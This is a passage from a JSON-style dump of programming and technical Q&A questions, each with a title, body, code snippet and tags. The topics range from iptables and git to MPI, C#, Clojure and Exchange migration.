["HTML in textarea withouth using a WYSIWYG editor", "Given: a and a button to
insert a name placeholder for later replacement.\nNow the button is just text:
{firstname}, but I would like it to be an image, to use a full WYSIWYG for this is
not how i want to implement it.\nIs there a way to make a typeable (change a to
an input field)?\nI am thinking of making a inline input that will be focused on
clicking the input , and having a functionality to append the inserted text into
the .\nAny suggestions?\nAny help is welcome! thanks!\n", "textarea", "javascript
html textarea"], "2406855": ["iptables rules for postgresql remote connection", "I
have this rule on my iptables:\n\nwhere 123.45.67.89 is the client ip that i want
to connect to my db server.\ncan you please tell me what's the problem? this still
won't allow me to connect. When i try to stop my firewall or flush the rules, i can
be able to remotely connect to postgresql.\nPlease help. THanks!\n", "iptables -A
INPUT -i eth0 -p tcp --dport 5432 -s 123.45.67.89 -j ACCEPT\n", "iptables
postgresql"], "253610": ["Off Site AD Authentication", "I have a web application
(not production) for which I want to enable AD authentication. The problem is that
the DC is not mine, it is the client's. The site will
be hosted remotely (amazon, rackspace or some other host). Can I enable the
client's users to authenticate with their domain user?\nThey should be able to use
the windows login credentials and if possible even input their user-password when
accessing the application.\nI have maxed my googling skills on that one.\nThanks!\
n", "", "windows active-directory windows-authentication ntlm"], "3128179": ["WPF
RichTextBox support for document links?", "I'm attempting to render RTF documents
using the WPF RichTextBox control. So far, the appearance of the rendered RTF
documents is quite true to the originals which were authored using MS Word.\nThe
one issue I've found is that the \"document anchors\" which are hyperlinks to
different locations within the document, do not function as hoped. While they look
like links, clicking on them does nothing.\nCan the WPF RichTextBox support this
type of link?\n", "", ".net wpf richtextbox"], "4810876": ["Multi language site",
"I found that two most popular plugins for multi language sites are WMPL and
qTranslate. First one is commercial, so this is not option, and second doesn't have
ability to translate widgets in sidebars, or I don't know how to do it.\nCan you
suggest me which plugin to use or what trick to do to have multi language widgets?\
n", "", "plugins widgets multi-language plugin-qtranslate"], "3951715": ["Sharing a
code between two projects in git", "I have two tightly related projects (A and B)
which share some source code (S). Both of them will be released at the same time
and released version should always use the same version of shared code. Shared code
S will be changed reasonably often.\nSo, it will look sometime like this:\n\nA
version 1 uses S version 1\nB version 1 uses S version 1\nA version 2 uses S
version 2\nB version 2 uses S version 2\n\nWhat is the best way to handle this with
git (and/or some tools which use git)?\nHere are my concerns:\n\nProject A and
Project B should be in separate repositories (they are related, but I don't want to
have free flow of code between them)\nIf a shared code updated in one project, it
should be automatically updated in another one (I don't want to have a situation
when a developer forgot to do something and end up having outdate version of shared
code).\n\nAs I understand one of canonical answers is \"use git submodule\".
However, I read some criticism about this approach. I felt like it was more
designed to shared libraries which rarely change.\nAnother approach which I read
was using git subtree\nAnd there are couple of less popular approaches: Repo,
GitSlave\nWhat would be the best approach to handle this type of code sharing?\n",
"", "git sharing code-sharing"], "2732069": ["Technical Design Documentation",
"What level of technical design documentation is good enough to get started with
actual coding ?\n", "", "documentation"], "4909379": ["UIView Subview Does not
autoresize on orientation change", "In my iPhone app, I have a view controller with
two views (essentially, a front & back view). The front view is the main UIView,
and the back view is a secondary UIView which is added as a subview using when
showing the back and when hiding it. However, when the orientation changes, I have
the following issue: the main UIView (frontView) rotates & all of its elements
resize properly, but the secondary/subview UIView (backView) does not rotate & all
of its elements do not resize properly. Does anyone have suggestions on how to make
the secondary UIView autoresize properly according to the rules I have set in
Interface Builder?\n", "[self.view addSubview:backView]", "iphone uiview interface-
builder subview"], "5504863": ["\"Could not open connection to the host\" error
when trying to send email using telnet", "I need to send email from my ASP.NET
application. For that I am using the following command from the command prompt to
connect to the specific port on :\ntelnet tk2smtp.msn.com 22\nBut it's showing the
following error on the command prompt:\nCould not open connection to the host\nI
installed a telnet client in my machine. Let me know if there are any other things
to be configured for this.\n", "tk2smtp", "smtp telnet"], "921854": ["Setting up
Windows machine to write Objective-C code", "\nPossible Duplicate:\nObjective C for
Windows\niPhone development on Windows \n\nHow do i setup and write Objective-C on
my Windows Vista (32 bit) machine?\nCan someone please give me instructions?\n",
"", "objective-c xcode windows-vista"], "611732": ["C - how can I set an array
pointer back to the first memory byte", "I have an array of pointers to struct, and
after processing the array, the pointer is at the end of the memory block. I want
to free memory block, so I need to go to the first memory byte and loop through the
array of pointers again to free each of the elements in the array. How would you
point back to the first byte of the memory block?\n", "", "c memory pointers"],
"2805157": ["Why some password managers use xclip instead of read -s?", "Couple of
password managers I've come across lately use xclip for inserting passwords.\nI
have heard that xclip is unsafe, but what's wrong with for it not be even
mentioned?\n", "read -s password", "security bash"], "1113701": ["Changing Locale
in Android Emulator", "I'm just starting to learn Android development. I have
included a EditText component in my view and started the emulator in Eclipse.\nWhen
I type in the Textbox, the auto suggestions are coming up in Chinese language but I
want to change this to English.\nHow do I change this Locale and Android Emulator?\
nI'm using the Android 2.1 for development.\n", "", "java android locale"],
"3499802": ["SilverStripe Images missing from Files and Images", "I am using
SilverStripe 2.4.7 and a php library to generate png images of QR codes. That is
all working perfectly but I noticed that even though the images are in the folder
they do not show up in the \"Files & Images\" part of my CMS. I have tried
flushing the cache but that doesn't help.\nCan anyone shed some light on this? \
nThanks\n", "", "image silverstripe"], "5563672": ["How to share locale independent
properties among several ResourceBundles?", "Scenario: In the application I have
language-dependent property files which are used as templates to generate emails:\
n:\n\n:\n\nand so on. Now in Spring context I would like to have these bundles:\n\
nbe merged with these common language-independent properties which I would like to
be declared in context:\n\nHow is it possible?\n", "email-
subscription_en.properties", "spring localization"], "74290": ["Mpi_Send and
Mpi_Recv to send partitions of a matrix instead of scattering", "I'm trying to send
partitions of a NxN matrix to different process.. I succed in this using
MPI_Scatterv, as you can seen in the code below, but if I try to use instead
MPI_Send and MPI_Recv the result is a segfault. Why?\nI saw different similar
questions to this, like this one MPI Matrix Multiplication with Dynamic Allocation:
Seg. Fault, but nothing changes...\n\nInstead, using the send and recv primitives:\
n\nWhat is wrong? Thank you in advance...\np.s.: sorry for my English!\n", "n =
N/nprocs; \nn0 = n + N - n*nprocs;\nint counts[nprocs], displs[nprocs];\
ncounts[0] = n0*N;\ndispls[0] = 0;\nfor(i=1;i<nprocs;i++){\n counts[i]=n*N;\n
displs[i]=(n0+(i-1)*n)*N;\n} \ndouble * weights = (double *)calloc(N*N,
(sizeof(double)));\nif(myid == 0){\n n = n0; \n for(i=0; i<N; i++){\n
for(j=i; j<N; j++){\n if(i==j) *(weights+i*N+j) = 0;\n else
{\n *(weights+i*N+j) = rand() / (RAND_MAX+1.0);\n
*(weights+j*N+i) = *(weights+i*N+j);\n }\n }\n }\n} \ndouble *
partition = (double *)calloc(n*N, (sizeof(double)));\nMPI_Scatterv(weights, counts,
displs, MPI_DOUBLE, partition, n*N, MPI_DOUBLE, 0, COMM);\n", "c mpi"], "6007751":
["Serially process ConcurrentQueue and limit to one message processor. Correct
pattern?", "I'm building a multithreaded app in .net.\nI have a thread that listens
to a connection (abstract, serial, tcp...).\nWhen it receives a new message, it
adds it to via AddMessage. Which then call startSpool. startSpool checks to see
if the spool is already running and if it is, returns, otherwise, starts it in a
new thread. The reason for this is, the messages HAVE to be processed serially,
FIFO.\nSo, my questions are...\nAm I going about this the right way?\nAre there
better, faster, cheaper patterns out there?\nMy apologies if there is a typo in my
code, I was having problems copying and pasting.\n\n", "
ConcurrentQueue<IMyMessage > messages = new ConcurrentQueue<IMyMessage>();\n\n
const int maxSpoolInstances = 1;\n\n object lcurrentSpoolInstances;\n int
currentSpoolInstances = 0;\n\n Thread spoolThread;\n\n public void
AddMessage(IMyMessage message)\n {\n this.messages.Add(message);\n\n
this.startSpool();\n }\n\n private void startSpool()\n {\n bool run
= false;\n\n lock (lcurrentSpoolInstances)\n {\n if
(currentSpoolInstances <= maxSpoolInstances)\n {\n
this.currentSpoolInstances++;\n run = true;\n }\n
else\n {\n return;\n }\n }\n\n
if (run)\n {\n this.spoolThread = new Thread(new
ThreadStart(spool));\n this.spoolThread.Start();\n }\n }\n\n
private void spool()\n {\n Message.ITimingMessage message;\n\n
while (this.messages.Count > 0)\n {\n // TODO: Is this below line
necessary or does the TryDequeue cover this?\n message = null;\n\n
this.messages.TryDequeue(out message);\n\n if (message != null)\n
{\n // My long running thing that does
something with this message.\n }\n }\n\n\n lock
(lcurrentSpoolInstances)\n {\n this.currentSpoolInstances--;\n
}\n }\n", "c# multithreading c#-4.0 concurrency"], "3488650": ["Observer
pattern-The subject keeps track of the items to be observed by the observer",
"Observer pattern-\nAssumption: \n\nOut of the 10 items, the observer only wants
to be subscribed to 3. \nSubject calls a function of the observer to let him know
that there\nare some updates.\n\nNow, is it subject's responsibility to send the
updates pertaining to only 3 items to the observer?\nOR\nSubject can simply tell
the observer that there are updates - go fetch whichever you want out of 10?\nWhich
is the correct way out? Does it matter?\n", "", "oop design-patterns observer-
pattern"], "5396714": ["TinyMCE Custom Link button/command (with jQuery)", "I have
a TinyMCE editor with its default toolbar hidden, and have created my own to
replace it (simplified with office2007 style css previews). \nI'm having an issue
with creating a link via code (I load my own jQuery UI window with a list of pages
generated by the cms, this returns a url to my code). \nHow I'm doing it is as
follows:\nAdding the following to TinyMCE setup config:\n\nSo any command performed
gets run through that function before doing the default behaviour. \nIn that
function I check if its an 'mceLink' event (got my custom toolbar sending commands
correctly, so not an issue there). When I get one, I display a window which returns
the url the user has selected. It's at this point I have an issue. \nI get the
selected node using \n\nbut its returning the node of the paragraph, as expected. \
nWhat I need to do is wrap the selection in tags so I can then use that node, but
cannot find out how to do this. I've gone through the API but can't find what I'm
looking for. There must be something though, as TinyMCE must use it internally.
(I've also tried looking into the TinyMCE source but its beyond me!)\nAnyone got
any ideas?\nThanks\n", "execcommand_callback : 'NEWCMS.editor.util.override'\n",
"jquery tinymce selection textselection execcommand"], "5987456": ["Determining if
a list of points fit a \"formation\"?", "I have, as input, an
arbitrary \"formation\", which is a list of rectangles, F:\n\nAnd as another input,
an unordered list of 2D points, P:\n\nIn this example, I consider P to match the
formation F, because if P were to be rotated 45\u00b0 counter-clockwise, each
rectangle in F will be satisfied by containing a point. It would also be
considered a match if there were an extraneous point in P which did not fall into a
rectangle.\nNeither the formation, nor point inputs, have any particular origin,
and the scale between the two are not required to be the same, e.g., the formation
could describe an area of a kilometer, and the input points could describe an area
of a centimeter. And lastly, I need to know which point ended up in which node in
the formation.\nI'm trying to develop a general-purpose algorithm that satisfies
all of these constraints. It will be executed millions of times per second against
a large database of location information, so I'm trying to \"fail out\" as soon as
I can.\nI've considered taking the angles between all points in both inputs and
comparing them, or calculating and comparing hulls, but every approach seems to
fall apart with one of the constraints.\nPoints in the formation could also easily
be represented as circles with an x,y origin and tolerance radius, and that seems
to simplify the approaches I've tried so far. I'd appreciate any solid plan-of-
attack or A-Ha! insights.\n", "", "vector geometry 2d linear-algebra
trigonometry"], "4192671": ["How do I manually input the user agent in the Opera
browser?", "Where is the configuration for user agent, what file and where?\nFor
version 11, in I can only pick from some preset browsers, but I want to use
something else so I guess I have to manually change the configuration but I don't
know where it is.\n", "opera:config", "configuration opera user-agent"], "5563675":
["Find or Create Element in LINQ-to-XML", "I want to set the value/children of an
element that may or may not already exist. If the element doesn't exist, I want to
have it automagically created for me. \nThis way, my code only has to worry about
the contents of the element... not whether or not it already exists. (By the time
I'm done with it, it's guaranteed to exist).\nDoes this functionality already exist
in LINQ-to-XML? I haven't found it yet, and am considering writing my own method.\
n", "", ".net xml linq linq-to-xml"], "896784": ["compare two string value", "I'd
like to compare two string values\u200b\u200b, like this:\n\nHow can I do it?\n",
"if (lblCapacity.Text <= lblSizeFile.Text)\n", "c# string compare"], "4039882":
["Fading navigation controller title in/out", "I have set my navigation
controller's title with the title property. I would like the title to be able to
fade in and out in response to some action performed by the user.\nMy current
solution is to provide the navigation controller with a custom titleView, and I
would animate the alpha change of that view whenever I want the title to fade. This
works, but is creating another problem: I cannot center align the title since the
left bar item and the right bar item are varied in width.\nTherefore, I am looking
for an alternate solution. Is there another way to fade the navigation controller
title without using a custom title view?\nEDIT: I have received some answers
showing how to do this by adding subviews. Although that does enable the fade
in/out feature I want, I would like to avoid using subviews as I ran into a problem
when implementing that solution.\nIs there something built into the navigation
objects that allows the fading of the title? I have already done some research, and
gauging form the responses thus far, I'm guessing there isn't. I'm just posting as
a last resort, just incase anyone knows of a way.\n", "", "iphone
uinavigationcontroller title fade"], "1860868": ["How do I get the Windows 7
installer onto a USB drive?", "\nPossible Duplicates:\nHow to install Windows 7 RC
from a USB disk?\nCreate pendrive installer for Windows 7 \n\nI'm having trouble
installing Windows 7 onto my old laptop. The problem appears to be the laptop's
DVD-ROM no longer seems to work. Sucks. So, I'm trying to figure out how to get a
bootable USB with my Windows 7 DVD info onto it. I found this link here on
superuser.com:\nhttp://superuser.com/questions/66948/place-a-bootable-iso-on-a-usb-
drive\nThat looks good, except for the detail about making the USB bootable. It
said that the OS you're making it bootable on must be the same as the machine
you're going to be installing it on. I can't do that. The machine I would make it
bootable from is a 64-bit version of Windows 7. The target machine is 32-bit. So,
how's this going to work?\n", "", "windows-7 usb storage bootable-media"],
"4119107": ["Time managment for learning", "I am currently a python beginner, and I
found out that python is a very interesting coding style and I enjoy it. What my
problem is that, when I learn it, sometimes, I try and practise tutorials the whole
day and sometimes, I couldn't touch it for 2 or 3 days. I feel that this is not an
effective way to improve my skills. How long I should practice per day and how many
days per week?\n", "", "learning time-management"], "3110612": ["Can items deleted
from \"Trash\" be recovered?", "On a Mac we have option to delete items securely
from trash, while deleting it warns that: \"once deleted items will not be
recovered\".\nI want to know that is there any way by which items
deleted \"normally, (not securely)\" from \"Trash\" can be recovered?\nThanks\n",
"", "osx recovery delete trash"], "4215849": ["Why would you \"store instances of
the class in the database as entities\"?", "I'm trying to understand a line from
the Google Datastore API which says:\n\nJDO uses annotations on Java classes\n to
describe how instances of the class\n are stored in the datastore as\n entities,
and how entities are\n recreated as instances when retrieved\n from the
datastore.\n\nI'm sure this is a very basic question for most people. But I don't
understand why the class object needs to be stored in the database and later
retrieved. Why not instead define what you want the datastore to look like for your
application and store only relevant data from your class properties as needed
instead of storing the entire class or always storing the same properties
repeatedly? The instance of the class contains all kinds of information that, it
seems to me, does not need to be in the database - methods, class variables,
instance variables - we write that stuff in our source code and we don't need to
reproduce it in the database - we only need certain relevant data that the class is
operating on to be stored. Right? Maybe I'm not understanding what is meant by the
quoted statement. Please correct me if I have misunderstood.\n", "", "java database
persistence object-persistence"], "5051966": ["what is best practice to implement
i18n usage java?", "what is best practice to implement i18n using java ?\n", "",
"java internationalization"], "6007753": ["Databinding in asp.net using
placeholder", "I need to put a table in the div which contains textboxs and labels
when someone click on a button.\nStructure of table is as below...\n\nThe no of
rows can vary but the structure of a row will be same as here in the above table.\
nI am trying to use Placeholder but confused how to put all the stuff their...\n",
"<table>\n<tr>\n<td>\n<label id=\"l1\" text=\"adfa\"></label>\n</td>\n<td>\n<input
type=\"text\" id=\"t1\">\n</td>\n</tr>\n<table>\n", "asp.net .net asp-classic"],
"3079468": ["SSH Public Key Authentication Fails Mac OSX", "I am trying to
get a coworkers MacBook Air running on Public Key Authentication and even after
generating a new SSH key I haven't been able to get it to run like I have mine.
Double checked file permissions, added her to all of the proper groups on the
server. Configured the server to accept public keys etc. I have copied her exactly
to the file.\nEDIT:\nI have ran which did not work either.\n yielded the
following debugging:\n\nAm I missing something?\n", "id_dsa.pub", "ssh macosx
public-key"], "4486781": ["Does orthodontic work cause (or contribute to) TMJD
issues?", "I've experienced significant TMJD issues, and I know several other
people who have also had TMJD issues.\n\nTemporomandibular joint disorder (TMJD or
TMD), or TMJ syndrome, is an umbrella term covering acute or chronic inflammation
of the temporomandibular joint, which connects the mandible to the skull. The
disorder and resultant dysfunction can result in significant pain and impairment.\
n\nThe one thing we all seem to have in common is that we've previously had
orthodontic work. It's a small sampling size, but in particular I know one person
whose onset of TMJD issues began during orthodontic treatment, which suggests to me
more than correlation but actual causation between orthodontic work and subsequent
TMJD issues.\nAs well, my dentist, who is also a very highly regarded professor of
dentistry, has told me that many of the TMJD issues he sees (and he has seen a lot)
correlate with prior orthodontic work. He noted that many dentists have similar
observations, but it's not acknowledged by the official powers that be. He's noted
that there is a great deal of controversy over this in the regulatory bodies that
govern dentistry, and although he's made inquiries with several colleagues he's not
aware of any formal studies of relationship between TMJD and orthodontic work.\nIn
light of my own experiences and anecdotal evidence, and the comments of my dentist,
I'm curious about whether others have noted or are aware of any evidence that would
suggest that orthodontic work causes TMJD issues.\n", "", "medical-science
dentistry"], "2430866": ["Socket program for Server using System IP Address", "I'm
trying to run a server application in PC using ServerSocket, for that I trying to
get the system's IP address to start the server and to wait for client to connect,
for that I've written,\n\nIts working correctly in the Window OS, when I try this
application in Unix OS its not working for me, I tried to print the IP address
using,\n\nin Windows OS correct IP address gets printed but in Unix OS, what I got
was\n\n127.0.0.1\n\nso the server is not working, I have not tried this in Mac OS,
so is there any way to start the server using the system's default IP address in
any OS.\nThanks.\n", "InetAddress inetAddress = InetAddress.getLocalHost();\
nServerSocket serverSocket;\nif (serverSocket == null)\nserverSocket = new
ServerSocket(1000, 0, inetAddress);\nSocket socket=serverSocket.accept();\n", "java
unix"], "1981992": ["Formula error while counting unique entries in Excel", "\nI
have a table which looks like the one shown above. The cells on the left are merged
(i.e. ABC is one merged cell and DEF is another). I want to count the number of
unique entries in the second column.\n\nWhen the above formula is used to count the
number of unique entries, there is an error.\nWhen calculation steps were followed,
I found that Excel was not able to calculate . \nCan somebody help me with this?\
n", " 200 Pass\nABC 201 Pass \n 202 fail \n\n
300 Pass\nDEF 201 Pass\n 202 Fail\n", "microsoft-excel worksheet-
function"], "4389916": ["Querying the database using EF Code First and Linq", "I've
spent a good deal of time and can't figure out how to make this query work. I am
making a hours of operation type module where the users can choose something like
the following:\n\nThis is completely dynamic and the users can choose how many
opens and close they want (dynamically generated form inputs)\nTo do this I have
made a couple of classes (I have no idea if this is a proper way of doing this
because I've been using asp.net mvc, C# and EF for about a week now. Any
suggestions would be greatly appreciated)\n\nand \n\nfor completeness here is my
companyInformation class\n\nThe reason, I have hardcoded the monday, tue.... in the
hoursofoperation class is to make it easy for mvc to map the dynamically generated
fields (and that part works!!! :) )\nNow I want to query the database and make a
hours of operations model to send back to the view (on get) so I can bring back the
saved information. I however can't figure out how to do that. I'm sending back a
HoursOfOperation class.\nthe query I have currently:\n\njust returns a
HoursOfOperation model with only the id (correct id) all the companyHours entities
are all null.\nCan anyone help me come up with the proper query?\n", "Monday open
from 8am to 11am closed from 11am to 1pm and open from 1pm to 5pm\n", "c# linq
entity-framework asp.net-mvc-4 ef-code-first"], "5137355": ["OpenGL ES 2.0 loading
dynamic textures", "I have a view that needs to render multiple images at once, and
i have a lot of textures to work with.\nProblem is, the textures are changing
because i cache a limited amount of images at any given time, so i need to load
textures on the fly, which stalls the rendering quite heavily.\nHow do i go around
this?\n", "", "android opengl-es loading opengl-es-2.0 textures"], "3337847": ["SQl
Server User Instance in Console Application", "Is it possible to user SQL Server
Express User Instance databases with Console applications or do they only work in
Web projects?\n", "", "sql-server-express console-application userinstance"],
"3137568": ["Send actual object type to overloaded function", "So, please consider
the following situation\nI have a super class of type \"Shapes\" and
classes \"Box\", \"Circle\" and \"Arrow\" that inherit Shapes. I have a list of
Shapes elsewhere that can contain members any of these types. I need to enumerate
through the list and draw out each shape. The problem is that each shape is drawn
differently, hence I have: \n\nThe problem is that when I enumerate through the
list, each element returned is of the type Shape (since the list is of type Shape)
even though its actual type could be Box. Due to this, none of the overloads are
recognized as being correct. \nOne thought I had was to create a temp object and
declare it of the actual type of the list element. So, lets assume list[i] is of
the type Circle\n\nBut this still doesn't work since now the compiler recognizes
the type of 'o' to be Object instead of Circle! \nHow can I get around this
problem?\n", "void Draw(Box b) {}\n\nvoid Draw(Square s) {}\n\nvoid Draw(Circle c)
{}\n", "c# inheritance polymorphism type-conversion"], "896782": ["Copying many
files without stopping on errors on OSX", "I need to copy several Gb from an
external HD to my moan hd and some files will cause errors. If I do this with the
finder, it will stop on the first error.\nIs there a way to copy everything no
matter the errors? Something like copy of teracopy in Windows?\n", "", "osx copy cp
xcopy teracopy"], "3616394": ["Correct terms and words for sections and parts of
selectors", "\nWhat is the correct term for the sections of CSS selectors that are
separated by commas?\n\nWithin those sections, what is the term for the parts
separated by combinators (spaces, , , etc)?\n\n", " body.foo .login ,
body.bar .login { ... }\n/* |\n Part 1 | Part 2
*/\n", "css css-selectors terminology"], "2795919": ["Sub-classing float type in
Python, fails to catch exception in __init__()", "On Python 2.5 I need to use float
numbers with a modified method. Also I need to know when the constructor fails.\
nWhy I can't catch exceptions raised from ?\nWhat is the best way to consult the
numeric value of my derived float object? In my code I'm using .\n\n", "__str__()",
"python exception-handling"], "113270": ["Python Markdown: Markdown Inside HTML
Blocks", "Is there an extra for Python Markdown that supports Markdown inside HTML
block elements, e.g. div, p\ni.e. is there a way to convert this:\n\nto\n\nusing
Python Markdown or a Python Markdown extension?\nI'm looking for something similar
to this feature in PHP Markdown Extra\n", "<div id=\"content\">\n [Google]
(http://www.google.com)\n</div>\n", "python html markdown block"], "3659053": ["Is
there a way to make SQL Management Studio never generate USE [database-name] in
scripts?", "Is there a way to turn this 'feature' off? \n", "", "sql-server ssms"],
"1507167": ["XNA - Get Current Screen Resolution", "Is it possible to get the
current desktop screen resolution?\nI have a few minor settings in my XNA game one
of which is screen resolution. What I want to do is blank out a screen resolution
option if it is larger than the current desktop resolution supports.\n", "", "c#
xna screen desktop resolution"], "1773833": ["Historical reference request: Young
tableaux", "I am writing up an article on the RSK correspondence. To this end, I
want to understand the history behind the invention of the Young tableaux and how
it was introduced into the study of the symmetry group by Frobenius. \n\nCould
someone point me towards some articles/books that talk about this particular
historical development (excluding Curtis's book Pioneers of Representation Theory
and Lam's article in the Notices). \n\nThank you.\n", "", "reference-request
representation-theory math-history"], "5316396": ["FormatException on DevExpress'
TextEdit control that can't store my decimal value", "I have a DevExpress (I will
refer to it as \"DX\" for this question) control, the .\nHere a sample of what I
have\n\nThe Mask is normal, I'm limited to 9 numbers with 3 decimals.\nI do this
in my codebehind\n\nThis code
works with a strange problem. If I write in my TextEdit, the value is correctly
converted. If I write (so I put some decimals), the application crashes with the
error (french traduction).\nIn details, I have \nThe value of the TextEdit.Text at
the crash is good but the decimal only store .\nI'm french and use french culture
so the 'comma' is the decimal separator for the UI but the variables are stored
correctly with a 'point' in decimal separator.\nEdit :\nI test this code and the
same error is going. So I think the problem is the conversion to decimal.\nThe get
the value with decimals but the conversion bug.\n\nEdit 2 :\nThis code don't woks
too.\n\nEdit 3 :\nI also tried forcing culture during the conversion.\nWith this
code, I can not insert a decimal in my TextEdit, only integers.\n\nMy specific
culture send the error.\n\n\nMy neutral culture send the error too.\n\n\nSolution
working for me :\nThis code works for me. I define my Langage at 'fr' in App.xaml
but apparently, it's not suffisent. So the problem is really the Culture and of
course, the decimal character.\nFor me, I need to replace the 'dot' with a 'comma'
because the culture in DevExpress show me the good culture but store in US
culture.\n\n", "TextEdit", "c# wpf devexpress decimal textedit"], "2235947": ["Want
to update table row in asp .net mvc 3", "I have 2 columns in my table named and .
Of course, In the form I dont want to show these two fields even as in hidden
filed. When I post the same form I want to change by Current DateTime and Want to
keep value as it is. But as I have no hidden filed name CreatedOn, it sets it to
null in the database. So I then I used the code below\n\nI am getting this error\n\
nHow can I solve this?\nPlease don't give any blog link to read, I have already
read some of them but could not. \nThank you.\n", "CreatedOn", "c# asp.net-mvc-3
entity-framework-4.1"], "3655902": ["PyQt QSpinBox update range depending on the
value of other spinbox", "i am using pyqt4 to develop a GUI for the first time; \nI
have a spinbox, and I would like the range of values allowed in it to be dependant
on the value another spinbox. for example, the maximum value allowed in the first
spinbox should be equal to the value of the second spinbox. \nI thought this may be
possible using a valueChanged() signal to call a method that is something like:\n\
nbut that didnt work, does anyone know how to do this?\nthank you\n", "def
function\n max = spinbox2.value()\n spinbox1.setMaximum(max)\n", "python pyqt
pyqt4"], "896783": ["How do I check if text in textarea contains a particular
word?", "I am having a text like this\n\nthis is my sample\n text message\n for
validation\n\nI want a single REGEX to find whether that message contains a
particular word.\n", "", "regex textarea"], "4918743": ["Mysql: create index on 1.4
billion records", "I have a table with 1.4 billion records. The table structure is
as follows:\n\nThe requirement is to create an index over the column . \nThe table
size is about 34G.\nI have tried to create the index by the following statement:\n\
nAfter 10 hours' waiting I finally give up this approach.\nIs there any workable
solution on this problem?\nUPDATE: the table is unlikely to be updated or inserted
or deleted. The reason why to create index on the column is because this kind of
sql query would be frequently executed: \n\nUPDATE: I have solved the problem by
partitioning the table. \nThe table is partitioned into 40 pieces on column . Then
creating index on the table takes about 1 hours to complete.\nIt seems that MySQL
index creation becomes very slow when the table size becomes very big. And
partitioning reduces the table into smaller trunks.\n", "CREATE TABLE text_page (\n
text VARCHAR(255),\n page_id INT UNSIGNED\n) ENGINE=MYISAM DEFAULT
CHARSET=ascii\n", "mysql indexing"], "3476": ["running an XPath expression SVG
inside an HTML with javascript", "I'm trying to run an xpath-expression over an svg
which is embedded in html. I just cannot figure out how to set up the parameters. I
want find elements that have an arbitary attribute from a given namespace. I use
the following xpath expression:\n\nI tested this expression and it worked as
expected.\nthis is the code to find the result set:\n\nCould anybody tell me, or
post a link to a tutorial, how to deal with the namspaces, the namespace
resolvers??\nGreetings...\n", "var xpathexp = \"//*[@*[namespace-
uri()='\"+this.typo7namespace+\"']]\";\n", "javascript xpath svg"], "1840586":
["Returning from a function while inside one or more nested loops?", "Is there a
way to immediately return from a function when in one or more nested loops?\nHere's
some sample code illustrating the problem:\n\nPerhaps I'm approaching the problem
too much in an imperative way.\nUpdate\nOk, I found a solution:\n\nIt uses a
mutable reference as a stop flag, breaking the functional style of programming. But
I'm happy to have a solution. Feel free to share a better way.\nUpdate\nFor those
interested, I've finished a first version version of my Clojure Tetris game. Feel
free to give it a try :)\n", "; Grid data structure\n; -------------------\
n(defstruct grid :width :height)\n\n(defn create-grid [w h initial-value]\n
(struct-map grid\n :width w\n :height h\n :data (ref (vec (repeat (* w
h) initial-value)))))\n\n(defn create-grid-with-data [w h gdata]\n (struct-map
grid\n :width w\n :height h\n :data (ref gdata)))\n\n(defn get-grid [g x
y]\n (let [gdata (g :data)\n idx (+ x (* (g :width) y)) ]\n (gdata
idx)))\n\n(defn set-grid [g x y value]\n (let [data (deref (g :data))\n
idx (+ x (* (g :width) y)) ]\n (dosync (alter (g :data) (fn [_] (assoc data
idx value))))))\n\n(defn get-grid-rows [g]\n (partition (g :width) (deref
(g :data))))\n\n\n\n; Beginning of test app\n; ---------------------\n\n; The
Tetris playing field \n(def current-field (create-grid 20 10 0))\n\n\n; A tetris
block (the L-Shape)\n(def current-block {\n :grid (struct-map grid :width
3 :height 3 :data [ 0 1 0\n 0 1
0\n 0 1 1 ])\n\n ; upper-left
corner of the block position in the playing field\n :x (ref 0) \n :y (ref 0)\
n} )\n\n\n; check-position-valid checks if the current position\n; of a block is a
valid position in a playing field\n(defn check-position-valid [field block]\n
(dotimes [ x ((block :grid) :width) ]\n (dotimes [ y ((block :grid) :height) ]\n
(if\n (let [ g (block :grid)\n block-value (get-grid
g x y)\n field-x (+ x (deref (block :x)))\n field-y
(+ y (deref (block :y))) ]\n (if (not (zero? block-value))\n
(if-not\n (and (>= field-x 0)\n (< field-x
(field :width))\n (< field-y (field :height))\n
(zero? (get-grid field field-x field-y)))\n false ; invalid position,
function should now return false\n true ; ok, continue loop\n
)))\n true\n false))))\n\n(println (check-position-valid current-
field current-block))\n", "clojure"], "4936367": ["How to handle column Hashing
with JPA", "i have a User entity with a password property. I want to store bcrypt
hashed passwords in the database. \nHow can i handle the hashing as transparent as
possible with jpa/eclipselink.\nI want the hashing to take plase as late as
possible and for the code that accesses the user to know as few as possible about
the underlying hash mechanism (or its existence).\nCurrently i only access the
password in jpql queries and the user doesn't even have a getPassword() method.\
nGreetings,\nLaures\n", "", "jpa eclipselink bcrypt"], "610028": ["Convert Public
Folder to Shared Mailbox", "Due to a change in company policy, all existing Public
Folders (PF) have to be phased out in favour of shared mailboxes. Unfortunately,
they don't seem to have any procedures or guidelines for this migration and I can't
find much online either.\nI've already migrated one of our public folders so far as
a sort of test case. Because we still use Exchange 2003, we can't create real
shared mailboxes as we would in 2007 or 2010 (With in the Exchange Shell).
Instead, I simply created a new account on the AD and assigned it a mailbox. I then
set the PF's permissions to read-only to keep it in a consistent state and copied
the entire folder to a local PST in Outlook 2010, from which the folder was in turn
copied to the new mailbox. Permissions and were set for all users and the
migration was successful.\nWhile this works, the whole procedure feels very hackish
to me and not at all efficient. I'd welcome some input on automating or at least
streamlining the process.\nAdditionally, we are unsure of what to do with our mail-
enabled Public Folders. Several of these are nested under other PFs, some of which
are also mail-enabled. Preserving folder structure is a key requirement and this
seems impossible at first glance. I've considered creating dummy accounts for all
the email addresses from our mail-enabled PFs and then setting up automated rules
to forward messages to a subfolder of the new shared mailboxes, but I am not
familiar enough with Exchange to know if this is even possible.\nFurther points of
concern are the Calendars and Contact lists in our public folders. I suppose I'll
be forced to create new mailboxes for every one of these we have as well, then set
up share permissions for their Calendar and Contact items, but would be happy to be
proven wrong.\n", "New-Mailbox -Shared ...", "exchange exchange-2003"], "1618254":
["Restkit Core data integration with NSManagedObjectContext", "For the last weeks I
am learning Restkit (v0.10.0) and core data and the possibilities are endless with
these
great tools. Problem is I am a bit overwhelmed on how to see the bigger picture
here. And because of the very fast paced updating of Restkit most of the
tutorials/demo code is out of date and not working properly any more.\nI have
managed to get my tableview filled with data from my json on a remote server. I
also worked out on how to make the remote data leading in combination with caching
working now, but I am struggling with the
NSManagedObjectContext/NSEntityDescription (Core data) and how it works out with
Restkit when using POST commands.\nIf I understand it correctly the record is
created in Core Data (after the comment line // Create a new instance ) and after
that that data is used to create a POST request so that the record is posted to the
